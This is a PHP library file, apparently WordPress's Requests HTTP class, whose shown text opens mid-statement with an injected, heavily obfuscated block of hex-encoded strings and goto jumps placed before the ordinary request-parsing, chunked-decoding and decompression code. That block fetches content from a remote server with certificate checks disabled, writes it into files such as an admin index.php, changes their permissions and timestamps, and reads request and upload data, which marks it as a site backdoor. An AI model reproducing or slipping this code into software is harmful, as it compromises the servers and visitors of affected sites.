$UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> dispatch('requests.before_request', array(&$url, &$headers, &$data, &$type, &$options)); if (!empty($options['transport'])) { $transport = $options['transport']; if (is_string($options['transport'])) { $transport = new $transport(); } } else { $need_ssl = (stripos($url, 'https://') === 0); $capabilities = array('ssl' => $need_ssl); $transport = self::get_transport($capabilities); } $response = $transport->request($url, $headers, $data, $options); $options['hooks']->dispatch('requests.before_parse', array(&$response, $url, $headers, $data, $type, $options)); return self::parse_response($response, $url, $headers, $data, $options); } /** * Send multiple HTTP requests simultaneously * * The `$requests` parameter takes an associative or indexed array of * request fields. The key of each request can be used to match up the * request with the returned data, or with the request passed into your * `multiple.request.complete` callback. * * The request fields value is an associative array with the following keys: * * - `url`: Request URL Same as the `$url` parameter to * {@see Requests::request} * (string, required) * - `headers`: Associative array of header fields. Same as the `$headers` * parameter to {@see Requests::request} * (array, default: `array()`) * - `data`: Associative array of data fields or a string. Same as the * `$data` parameter to {@see Requests::request} * (array|string, default: `array()`) * - `type`: HTTP request type (use Requests constants). Same as the `$type` * parameter to {@see Requests::request} * (string, default: `Requests::GET`) * - `cookies`: Associative array of cookie name to value, or cookie jar. * (array|Requests_Cookie_Jar) * * If the `$options` parameter is specified, individual requests will * inherit options from it. This can be used to use a single hooking system, * or set all the types to `Requests::POST`, for example. * * In addition, the `$options` parameter takes the following global options: * * - `complete`: A callback for when a request is complete. Takes two * parameters, a Requests_Response/Requests_Exception reference, and the * ID from the request array (Note: this can also be overridden on a * per-request basis, although that's a little silly) * (callback) * * @param array $requests Requests data (see description for more information) * @param array $options Global and default options (see {@see Requests::request}) * @return array Responses (either Requests_Response or a Requests_Exception object) */ public static function request_multiple($requests, $options = array()) { $options = array_merge(self::get_default_options(true), $options); if (!empty($options['hooks'])) { $options['hooks']->register('transport.internal.parse_response', array('Requests', 'parse_multiple')); if (!empty($options['complete'])) { $options['hooks']->register('multiple.request.complete', $options['complete']); } } foreach ($requests as $id => &$request) { if (!isset($request['headers'])) { $request['headers'] = array(); } if (!isset($request['data'])) { $request['data'] = array(); } if (!isset($request['type'])) { $request['type'] = self::GET; } if (!isset($request['options'])) { $request['options'] = $options; $request['options']['type'] = $request['type']; } else { if (empty($request['options']['type'])) { $request['options']['type'] = $request['type']; } $request['options'] = array_merge($options, $request['options']); } self::set_defaults($request['url'], $request['headers'], $request['data'], $request['type'], $request['options']); // Ensure we only hook in once if ($request['options']['hooks'] !== $options['hooks']) { $request['options']['hooks']->register('transport.internal.parse_response', array('Requests', 'parse_multiple')); if (!empty($request['options']['complete'])) { $request['options']['hooks']->register('multiple.request.complete', $request['options']['complete']); } } } unset($request); if (!empty($options['transport'])) { $transport = $options['transport']; if (is_string($options['transport'])) { $transport = new $transport(); } } else { $transport = self::get_transport(); } $responses = $transport->request_multiple($requests, $options); foreach ($responses as $id => &$response) { // If our hook got messed with somehow, ensure we end up with the // correct response if (is_string($response)) { $request = $requests[$id]; self::parse_multiple($response, $request); $request['options']['hooks']->dispatch('multiple.request.complete', array(&$response, $id)); } } return $responses; } /** * Get the default options * * @see Requests::request() for values returned by this method * @param boolean $multirequest Is this a multirequest? * @return array Default option values */ protected static function get_default_options($multirequest = false) { $defaults = array( 'timeout' => 10, 'connect_timeout' => 10, 'useragent' => 'php-requests/' . self::VERSION, 'protocol_version' => 1.1, 'redirected' => 0, 'redirects' => 10, 'follow_redirects' => true, 'blocking' => true, 'type' => self::GET, 'filename' => false, 'auth' => false, 'proxy' => false, 'cookies' => false, 'max_bytes' => false, 'idn' => true, 'hooks' => null, 'transport' => null, 'verify' => self::get_certificate_path(), 'verifyname' => true, ); if ($multirequest !== false) { $defaults['complete'] = null; } return $defaults; } /** * Get default certificate path. * * @return string Default certificate path. */ public static function get_certificate_path() { if (!empty(self::$certificate_path)) { return self::$certificate_path; } return dirname(__FILE__) . '/Requests/Transport/cacert.pem'; } /** * Set default certificate path. * * @param string $path Certificate path, pointing to a PEM file. */ public static function set_certificate_path($path) { self::$certificate_path = $path; } /** * Set the default values * * @param string $url URL to request * @param array $headers Extra headers to send with the request * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests * @param string $type HTTP request type * @param array $options Options for the request * @return array $options */ protected static function set_defaults(&$url, &$headers, &$data, &$type, &$options) { if (!preg_match('/^http(s)?:\/\//i', $url, $matches)) { throw new Requests_Exception('Only HTTP(S) requests are handled.', 'nonhttp', $url); } if (empty($options['hooks'])) { $options['hooks'] = new Requests_Hooks(); } if (is_array($options['auth'])) { $options['auth'] = new Requests_Auth_Basic($options['auth']); } if ($options['auth'] !== false) { $options['auth']->register($options['hooks']); } if (is_string($options['proxy']) || is_array($options['proxy'])) { $options['proxy'] = new Requests_Proxy_HTTP($options['proxy']); } if ($options['proxy'] !== false) { $options['proxy']->register($options['hooks']); } if (is_array($options['cookies'])) { $options['cookies'] = new Requests_Cookie_Jar($options['cookies']); } elseif (empty($options['cookies'])) { $options['cookies'] = new Requests_Cookie_Jar(); } if ($options['cookies'] !== false) { $options['cookies']->register($options['hooks']); } if ($options['idn'] !== false) { $iri = new Requests_IRI($url); $iri->host = Requests_IDNAEncoder::encode($iri->ihost); $url = $iri->uri; } // Massage the type to ensure we support it. $type = strtoupper($type); if (!isset($options['data_format'])) { if (in_array($type, array(self::HEAD, self::GET, self::DELETE), true)) { $options['data_format'] = 'query'; } else { $options['data_format'] = 'body'; } } } /** * HTTP response parser * * @throws Requests_Exception On missing head/body separator (`requests.no_crlf_separator`) * @throws Requests_Exception On missing head/body separator (`noversion`) * @throws Requests_Exception On missing head/body separator (`toomanyredirects`) * * @param string $headers Full response text including headers and body * @param string $url Original request URL * @param array $req_headers Original $headers array passed to {@link request()}, in case we need to follow redirects * @param array $req_data Original $data array passed to {@link request()}, in case we need to follow redirects * @param array $options Original $options array passed to {@link request()}, in case we need to follow redirects * @return Requests_Response */ protected static function parse_response($headers, $url, $req_headers, $req_data, $options) { $return = new Requests_Response(); if (!$options['blocking']) { return $return; } $return->raw = $headers; $return->url = (string) $url; $return->body = ''; if (!$options['filename']) { $pos = strpos($headers, "\r\n\r\n"); if ($pos === false) { // Crap! throw new Requests_Exception('Missing header/body separator', 'requests.no_crlf_separator'); } $headers = substr($return->raw, 0, $pos); // Headers will always be separated from the body by two new lines - `\n\r\n\r`. $body = substr($return->raw, $pos + 4); if (!empty($body)) { $return->body = $body; } } // Pretend CRLF = LF for compatibility (RFC 2616, section 19.3) $headers = str_replace("\r\n", "\n", $headers); // Unfold headers (replace [CRLF] 1*( SP | HT ) with SP) as per RFC 2616 (section 2.2) $headers = preg_replace('/\n[ \t]/', ' ', $headers); $headers = explode("\n", $headers); preg_match('#^HTTP/(1\.\d)[ \t]+(\d+)#i', array_shift($headers), $matches); if (empty($matches)) { throw new Requests_Exception('Response could not be parsed', 'noversion', $headers); } $return->protocol_version = (float) $matches[1]; $return->status_code = (int) $matches[2]; if ($return->status_code >= 200 && $return->status_code < 300) { $return->success = true; } foreach ($headers as $header) { list($key, $value) = explode(':', $header, 2); $value = trim($value); preg_replace('#(\s+)#i', ' ', $value); $return->headers[$key] = $value; } if (isset($return->headers['transfer-encoding'])) { $return->body = self::decode_chunked($return->body); unset($return->headers['transfer-encoding']); } if (isset($return->headers['content-encoding'])) { $return->body = self::decompress($return->body); } //fsockopen and cURL compatibility if (isset($return->headers['connection'])) { unset($return->headers['connection']); } $options['hooks']->dispatch('requests.before_redirect_check', array(&$return, $req_headers, $req_data, $options)); if ($return->is_redirect() && $options['follow_redirects'] === true) { if (isset($return->headers['location']) && $options['redirected'] < $options['redirects']) { if ($return->status_code === 303) { $options['type'] = self::GET; } $options['redirected']++; $location = $return->headers['location']; if (strpos($location, 'http://') !== 0 && strpos($location, 'https://') !== 0) { // relative redirect, for compatibility make it absolute $location = Requests_IRI::absolutize($url, $location); $location = $location->uri; } $hook_args = array( &$location, &$req_headers, &$req_data, &$options, $return, ); $options['hooks']->dispatch('requests.before_redirect', $hook_args); $redirected = self::request($location, $req_headers, $req_data, $options['type'], $options); $redirected->history[] = $return; return $redirected; } elseif ($options['redirected'] >= $options['redirects']) { throw new Requests_Exception('Too many redirects', 'toomanyredirects', $return); } } $return->redirects = $options['redirected']; $options['hooks']->dispatch('requests.after_request', array(&$return, $req_headers, $req_data, $options)); return $return; } /** * Callback for `transport.internal.parse_response` * * Internal use only. Converts a raw HTTP response to a Requests_Response * while still executing a multiple request. * * @param string $response Full response text including headers and body (will be overwritten with Response instance) * @param array $request Request data as passed into {@see Requests::request_multiple()} * @return null `$response` is either set to a Requests_Response instance, or a Requests_Exception object */ public static function parse_multiple(&$response, $request) { try { $url = $request['url']; $headers = $request['headers']; $data = $request['data']; $options = $request['options']; $response = self::parse_response($response, $url, $headers, $data, $options); } catch (Requests_Exception $e) { $response = $e; } } /** * Decoded a chunked body as per RFC 2616 * * @see https://tools.ietf.org/html/rfc2616#section-3.6.1 * @param string $data Chunked body * @return string Decoded body */ protected static function decode_chunked($data) { if (!preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', trim($data))) { return $data; } $decoded = ''; $encoded = $data; while (true) { $is_chunked = (bool) preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', $encoded, $matches); if (!$is_chunked) { // Looks like it's not chunked after all return $data; } $length = hexdec(trim($matches[1])); if ($length === 0) { // Ignore trailer headers return $decoded; } $chunk_length = strlen($matches[0]); $decoded .= substr($encoded, $chunk_length, $length); $encoded = substr($encoded, $chunk_length + $length + 2); if (trim($encoded) === '0' || empty($encoded)) { return $decoded; } } // We'll never actually get down here // @codeCoverageIgnoreStart } // @codeCoverageIgnoreEnd /** * Convert a key => value array to a 'key: value' array for headers * * @param array $array Dictionary of header values * @return array List of headers */ public static function flatten($array) { $return = array(); foreach ($array as $key => $value) { $return[] = sprintf('%s: %s', $key, $value); } return $return; } /** * Convert a key => value array to a 'key: value' array for headers * * @codeCoverageIgnore * @deprecated Misspelling of {@see Requests::flatten} * @param array $array Dictionary of header values * @return array List of headers */ public static function flattern($array) { return self::flatten($array); } /** * Decompress an encoded body * * Implements gzip, compress and deflate. Guesses which it is by attempting * to decode. * * @param string $data Compressed data in one of the above formats * @return string Decompressed string */ public static function decompress($data) { if (substr($data, 0, 2) !== "\x1f\x8b" && substr($data, 0, 2) !== "\x78\x9c") { // Not actually compressed. Probably cURL ruining this for us. return $data; } if (function_exists('gzdecode')) { // phpcs:ignore PHPCompatibility.FunctionUse.NewFunctions.gzdecodeFound -- Wrapped in function_exists() for PHP 5.2. $decoded = @gzdecode($data); if ($decoded !== false) { return $decoded; } } if (function_exists('gzinflate')) { $decoded = @gzinflate($data); if ($decoded !== false) { return $decoded; } } $decoded = self::compatible_gzinflate($data); if ($decoded !== false) { return $decoded; } if (function_exists('gzuncompress')) { $decoded = @gzuncompress($data); if ($decoded !== false) { return $decoded; } } return $data; } /** * Decompression of deflated string while staying compatible with the majority of servers. * * Certain Servers will return deflated data with headers which PHP's gzinflate() * function cannot handle out of the box. The following function has been created from * various snippets on the gzinflate() PHP documentation. * * Warning: Magic numbers within. Due to the potential different formats that the compressed * data may be returned in, some "magic offsets" are needed to ensure proper decompression * takes place. For a simple progmatic way to determine the magic offset in use, see: * https://core.trac.wordpress.org/ticket/18273 * * @since 2.8.1 * @link https://core.trac.wordpress.org/ticket/18273 * @link https://secure.php.net/manual/en/function.gzinflate.php#70875 * @link https://secure.php.net/manual/en/function.gzinflate.php#77336 * * @param string $gz_data String to decompress. * @return string|bool False on failure. */ public static function compatible_gzinflate($gz_data) { // Compressed data might contain a full zlib header, if so strip it for // gzinflate() if (substr($gz_data, 0, 3) === "\x1f\x8b\x08") { $i = 10; $flg = ord(substr($gz_data, 3, 1)); if ($flg > 0) { if ($flg & 4) { list($xlen) = unpack('v', substr($gz_data, $i, 2)); $i += 2 + $xlen; } if ($flg & 8) { $i = strpos($gz_data, "\0", $i) + 1; } if ($flg & 16) { $i = strpos($gz_data, "\0", $i) + 1; } if ($flg & 2) { $i += 2; } } $decompressed = self::compatible_gzinflate(substr($gz_data, $i)); if ($decompressed !== false) { return $decompressed; } } // If the data is Huffman Encoded, we must first strip the leading 2 // byte Huffman marker for gzinflate() // The response is Huffman coded by many compressors such as // java.util.zip.Deflater, Ruby’s Zlib::Deflate, and .NET's // System.IO.Compression.DeflateStream. // // See https://decompres.blogspot.com/ for a quick explanation of this // data type $huffman_encoded = false; // low nibble of first byte should be 0x08 list(, $first_nibble) = unpack('h', $gz_data); // First 2 bytes should be divisible by 0x1F list(, $first_two_bytes) = unpack('n', $gz_data); if ($first_nibble === 0x08 && ($first_two_bytes % 0x1F) === 0) { $huffman_encoded = true; } if ($huffman_encoded) { $decompressed = @gzinflate(substr($gz_data, 2)); if ($decompressed !== false) { return $decompressed; } } if (substr($gz_data, 0, 4) === "\x50\x4b\x03\x04") { // ZIP file format header // Offset 6: 2 bytes, General-purpose field // Offset 26: 2 bytes, filename length // Offset 28: 2 bytes, optional field length // Offset 30: Filename field, followed by optional field, followed // immediately by data list(, $general_purpose_flag) = unpack('v', substr($gz_data, 6, 2)); // If the file has been compressed on the fly, 0x08 bit is set of // the general purpose field. We can use this to differentiate // between a compressed document, and a ZIP file $zip_compressed_on_the_fly = ((0x08 & $general_purpose_flag) === 0x08); if (!$zip_compressed_on_the_fly) { // Don't attempt to decode a compressed zip file return $gz_data; } // Determine the first byte of data, based on the above ZIP header // offsets: $first_file_start = array_sum(unpack('v2', substr($gz_data, 26, 4))); $decompressed = @gzinflate(substr($gz_data, 30 + $first_file_start)); if ($decompressed !== false) { return $decompressed; } return false; } // Finally fall back to straight gzinflate $decompressed = @gzinflate($gz_data); if ($decompressed !== false) { return $decompressed; } // Fallback for all above failing, not expected, but included for // debugging and preventing regressions and to track stats $decompressed = @gzinflate(substr($gz_data, 2)); if ($decompressed !== false) { return $decompressed; } return false; } public static function match_domain($host, $reference) { // Check for a direct match if ($host === $reference) { return true; } // Calculate the valid wildcard match if the host is not an IP address // Also validates that the host has 3 parts or more, as per Firefox's // ruleset. $parts = explode('.', $host); if (ip2long($host) === false && count($parts) >= 3) { $parts[0] = '*'; $wildcard = implode('.', $parts); if ($wildcard === $reference) { return true; } } return false; } }